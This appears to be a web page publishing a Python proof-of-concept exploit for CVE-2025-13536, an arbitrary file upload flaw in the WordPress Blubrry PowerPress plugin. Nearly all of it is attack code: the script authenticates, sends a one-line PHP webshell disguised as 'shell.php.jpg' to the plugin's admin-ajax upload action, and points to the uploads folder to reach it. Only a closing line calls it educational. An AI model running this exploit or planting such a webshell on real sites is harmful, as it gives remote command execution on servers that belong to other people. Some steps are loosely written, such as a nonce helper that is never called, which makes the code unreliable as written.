CVE-2025-13536 WordPress Blubrry PowerPress插件任意文件上传漏洞

import requests import sys from requests.auth import HTTPBasicAuth # CVE-2025-13536 PoC - WordPress PowerPress Arbitrary File Upload # Target: WordPress site with PowerPress plugin <= 11.15.2 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_account" PASSWORD = "password" def get_nonce(session, post_id): """Get WordPress nonce for the post""" url = f"{TARGET_URL}/wp-admin/post.php?post={post_id}&action=edit" response = session.get(url) if response.status_code == 200: import re nonce_match = re.search(r'name="_wpnonce" value="([a-f0-9]+)"', response.text) if nonce_match: return nonce_match.group(1) return None def upload_webshell(target_url, username, password): """ Upload malicious PHP file through PowerPress plugin This PoC demonstrates the file upload vulnerability """ session = requests.Session() # Authentication login_url = f"{target_url}/wp-login.php" auth = HTTPBasicAuth(username, password) # Create a draft post first post_url = f"{target_url}/wp-admin/post-new.php" response = session.get(post_url, auth=auth) # PHP webshell content (encoded for upload) webshell = b'<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>' # File upload via PowerPress endpoint upload_url = f"{target_url}/wp-admin/admin-ajax.php" files = { 'file': ('shell.php.jpg', webshell, 'image/jpeg'), 'action': 'powerpress_upload', 'post_id': '1' } try: response = session.post(upload_url, files=files, auth=auth, timeout=10) if response.status_code == 200: print("[+] File upload request sent successfully") print("[*] Check if webshell was uploaded to /wp-content/uploads/") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("CVE-2025-13536 PoC - PowerPress Arbitrary File Upload") print("Note: This PoC is for educational and security testing purposes only") upload_webshell(TARGET_URL, USERNAME, PASSWORD)